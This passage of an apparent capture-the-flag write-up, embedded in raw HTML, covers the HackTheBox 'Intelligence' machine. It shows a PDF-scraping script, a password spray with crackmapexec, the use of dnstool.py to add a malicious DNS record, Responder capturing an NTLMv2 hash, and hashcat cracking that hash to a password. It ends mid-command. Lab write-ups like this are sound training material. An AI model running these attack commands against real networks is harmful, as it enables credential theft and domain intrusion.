&amp;#39;max-age=0&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Proxy-Connection&amp;#39;: &amp;#39;keep-alive&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Referer&amp;#39;: &amp;#39;http://intelligence.htb/&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Upgrade-Insecure-Requests&amp;#39;: &amp;#39;1&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;User-Agent&amp;#39;: &amp;#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;start_date = datetime.date(2020,1,1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;end_date = datetime.date(2022,1,1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dalta = datetime.timedelta(days=1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;def Evidence(start_date):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; try:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.get(f&amp;#39;http://intelligence.htb/documents/{start_date}-upload.pdf&amp;#39;, headers=headers)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; pdffile = PyPDF2.PdfFileReader(BytesIO(response.content))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; docinfo = pdffile.getDocumentInfo()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # print(&amp;#39;[*] PDF metadata For：&amp;#39;+ str(filepath))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for index, page in enumerate(pdffile.pages): # Iterate over all pages&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;test.txt&amp;#39;, &amp;#39;a&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;).write(f&amp;#39;http://intelligence.htb/documents/{start_date}-upload.pdf\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;test.txt&amp;#39;, &amp;#39;a&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;).write(page.extract_text()+&amp;#39;\n\n\n\n\n\n\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; except Exception as e:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if __name__ == &amp;#39;__main__&amp;#39;:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; while start_date &amp;lt; end_date:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Evidence(start_date)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; start_date += dalta&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The code above draws on quite a few blog posts. This was my first time learning about the PyPDF2 library and the from io import BytesIO technique. When I first started writing it, I ran into plenty of dead ends: several libraries I found either didn&amp;rsquo;t work or were too cumbersome. The posts that helped me most are below. If you want to build these PoCs yourself, you&amp;rsquo;ll probably need to refer to them as well.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/qq_39147299/article/details/125677918" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/qq_39147299/article/details/125677918&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/weixin_43047908/article/details/115769321" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/weixin_43047908/article/details/115769321&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://cloud.tencent.com/developer/article/1477328" target="_blank" rel="noopener"&#10; &gt;https://cloud.tencent.com/developer/article/1477328&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://gist.github.com/ceaksan/25034d9bd4496ea953082d2cfa831ad1" target="_blank" rel="noopener"&#10; &gt;https://gist.github.com/ceaksan/25034d9bd4496ea953082d2cfa831ad1&lt;/a&gt; # This one helped the most&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0522.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found the default password, so now I can brute-force the accounts.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NewIntelligenceCorpUser9876&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec smb 10.10.10.248 -u users.txt -p NewIntelligenceCorpUser9876 --continue-on-success&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I found only one valid credential.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;WinRM isn&amp;rsquo;t enabled on the target, so I can&amp;rsquo;t connect directly. Now that I have credentials, though, I can revisit all the services I checked earlier and collect more information with them.&lt;/p&gt;&#10;&lt;p&gt;SMB&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0523.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I planned to use SYSVOL to recover passwords stored in Group Policy, but no passwords had been saved there.&lt;/p&gt;&#10;&lt;p&gt;Users is simply the Windows Users folder. The flag is shown below.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0524.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0525.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;SMB definitely won&amp;rsquo;t give me a shell, but looking at everything else, none of the other services seem any more promising for getting one. I guessed that the IIS web root might be somewhere under Users. I also found an IT folder containing a single file with the following contents.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Check web server status. Scheduled to run every 5min&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Import-Module ActiveDirectory&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;foreach($record in Get-ChildItem &amp;#34;AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb&amp;#34; | Where-Object Name -like &amp;#34;web*&amp;#34;) {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;try {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$request = Invoke-WebRequest -Uri &amp;#34;http://$($record.Name)&amp;#34; -UseDefaultCredentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if(.StatusCode -ne 200) {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Send-MailMessage -From &amp;#39;Ted Graves &amp;lt;Ted.Graves@intelligence.htb&amp;gt;&amp;#39; -To &amp;#39;Ted Graves &amp;lt;Ted.Graves@intelligence.htb&amp;gt;&amp;#39; -Subject &amp;#34;Host: $($record.Name) is down&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;} catch {}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That gave me an idea. It says this file runs every five minutes. If I could modify it, I could get a shell.&lt;/p&gt;&#10;&lt;p&gt;But I couldn&amp;rsquo;t delete the file or upload a replacement. I didn&amp;rsquo;t have permission, and the entire directory was unwritable. PowerShell has always been one of my weak spots, so I tried to work out what the script does.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Import-Module ActiveDirectory&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;foreach($record in Get-ChildItem &amp;#34;AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb&amp;#34; | Where-Object Name -like &amp;#34;web*&amp;#34;) {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;try {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$request = Invoke-WebRequest -Uri &amp;#34;http://$($record.Name)&amp;#34; -UseDefaultCredentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if(.StatusCode -ne 200) {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Send-MailMessage -From &amp;#39;Ted Graves &amp;lt;Ted.Graves@intelligence.htb&amp;gt;&amp;#39; -To &amp;#39;Ted Graves &amp;lt;Ted.Graves@intelligence.htb&amp;gt;&amp;#39; -Subject &amp;#34;Host: $($record.Name) is down&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;} catch {}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Get-ChildItem retrieves every DNS name beginning with web, then iterates over them and sends a request to each target using the default credentials. If the response status isn&amp;rsquo;t 200, it sends an email from &lt;a class="link" href="mailto:Ted.Graves@intelligence.htb" &gt;Ted.Graves@intelligence.htb&lt;/a&gt; to &lt;a class="link" href="mailto:Ted.Graves@intelligence.htb" &gt;Ted.Graves@intelligence.htb&lt;/a&gt; saying that the service at that domain is down.&lt;/p&gt;&#10;&lt;p&gt;When I saw that DNS was involved, I found dnstool.py. It&amp;rsquo;s the only DNS-related PoC I&amp;rsquo;d saved, but the command in my notes didn&amp;rsquo;t work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0526.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0527.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The message here says I can add, modify, and delete AD-integrated DNS records, but I had no idea how to turn that into an exploit.&lt;/p&gt;&#10;&lt;p&gt;If I change a domain beginning with web to point to my machine and make its request fail, it will only send an email to itself. I can even see exactly how the email is constructed, so tampering with the domain doesn&amp;rsquo;t seem particularly useful to me.&lt;/p&gt;&#10;&lt;p&gt;I went back to reading the PowerShell.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$request = Invoke-WebRequest -Uri &amp;#34;http://$($record.Name)&amp;#34; -UseDefaultCredentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It sends a request to the target to check whether it&amp;rsquo;s alive, using the default credentials. What I couldn&amp;rsquo;t understand was why the request URL needed default credentials. Then it suddenly started to make sense: when accessing resources within a domain, credentials must be sent or the server returns a 401 asking for authentication. That&amp;rsquo;s why the -UseDefaultCredentials parameter is there. If we tamper with a domain in the DNS records, the target will send its request to us, allowing us to capture an NTLM or Kerberos credential hash and crack it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.praetorian.com/blog/unconstrained-delegation-active-directory/" target="_blank" rel="noopener"&#10; &gt;https://www.praetorian.com/blog/unconstrained-delegation-active-directory/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I found the method for adding a record in this blog post.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0528.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But even after putting the command together, it still threw an error. Building the command from scratch was a little beyond me. Modifying an existing command wasn&amp;rsquo;t easy either, but at least there was less work and less room for error.&lt;/p&gt;&#10;&lt;p&gt;I started reading the command documentation at &lt;a class="link" href="https://github.com/dirkjanm/krbrelayx" target="_blank" rel="noopener"&#10; &gt;https://github.com/dirkjanm/krbrelayx&lt;/a&gt;. After making some changes, the record was added successfully.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 dnstool.py ldap://10.10.10.248:389 -u &amp;#39;intelligence.htb\Tiffany.Molina&amp;#39; -p &amp;#39;NewIntelligenceCorpUser9876&amp;#39; -r webtest.intelligence.htb -a add -t A -d 10.10.16.14&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0529.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But after waiting forever, nothing happened. I kept reading the parameters and compared my command with the original one.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 dnstool.py -u &amp;#39;intelligence.htb\Tiffany.Molina&amp;#39; -p &amp;#39;NewIntelligenceCorpUser9876&amp;#39; -r webtest.intelligence.htb -a add -t A -d 10.10.16.14 10.10.10.248&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Maybe I shouldn&amp;rsquo;t have added the LDAP port. I simply put the IP at the end instead.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0530.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This time it worked without any errors.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0531.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It turns out a valid record has an IP after it. The one above came from my earlier command and has no IP, which probably means it wasn&amp;rsquo;t actually created successfully. I wasn&amp;rsquo;t sure whether having two identical domain names, one with an IP and one without, would cause an error, so I created another domain beginning with web.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0532.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I received the request, but why weren&amp;rsquo;t there any credentials? Maybe this wasn&amp;rsquo;t a real HTTP service. I tried starting a Flask server, and it could receive the request.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0533.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Still no credentials. I tried Wireshark too, but that didn&amp;rsquo;t help at all.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0534.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At this point I was truly out of ideas. I glanced at the write-up, which mentioned a tool called Responder, so I started looking up how to use it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;responder -I tun0&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[HTTP] NTLMv2 Client : 10.10.10.248&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[HTTP] NTLMv2 Username : intelligence\Ted.Graves&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[HTTP] NTLMv2 Hash : Ted.Graves::intelligence:3b267a46c774400f:A842C01024C9E8EA01810E4BEE6A41F4:0101000000000000EC36E0307347DB010E813ACCADA649140000000002000800390045003800390001001E00570049004E002D005A004A004500570048003400470041003400540038000400140039004500380039002E004C004F00430041004C0003003400570049004E002D005A004A004500570048003400470041003400540038002E0039004500380039002E004C004F00430041004C000500140039004500380039002E004C004F00430041004C000800300030000000000000000000000000200000583346B9E2E4E1103C4197AA4C60C45E679C02E8DE8EC1AA5F81F4BAA6624FBB0A0010000000000000000000000000000000000009003A0048005400540050002F0077006500620074006500730074002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Skipping previously captured hash for intelligence\Ted.Graves&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;NTLMv2 uses mode 5600, so I can call it directly.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 5600 1.txt /usr/share/wordlists/rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Ted.Graves:Mr.Teddy&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0535.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem there. Logging in directly was completely impossible, so I&amp;rsquo;ll use BloodHound to collect data remotely. I tried with the previous account, but it threw an error. Let&amp;rsquo;s see whether this account works.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0536.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I searched Google and found that my parameters seemed to be wrong. I&amp;rsquo;d already identified the DC name as DC during recon, but it still gave me an error.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/gitblog_00797/article/details/142076858" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/gitblog_00797/article/details/142076858&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The payload in this post uses -ns to point to the DNS server.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bloodhound-python -d intelligence.htb -u Ted.Graves -p Mr.Teddy -ns 10.10.10.248 -c all&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;After analyzing the results, I found two interesting points.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0537.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The current user is in the administrator group, but UAC restrictions mean commands run with the current user&amp;rsquo;s privileges by default. To get administrator privileges, I would need to run one of the following commands from the command line.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;runas /user:administrator 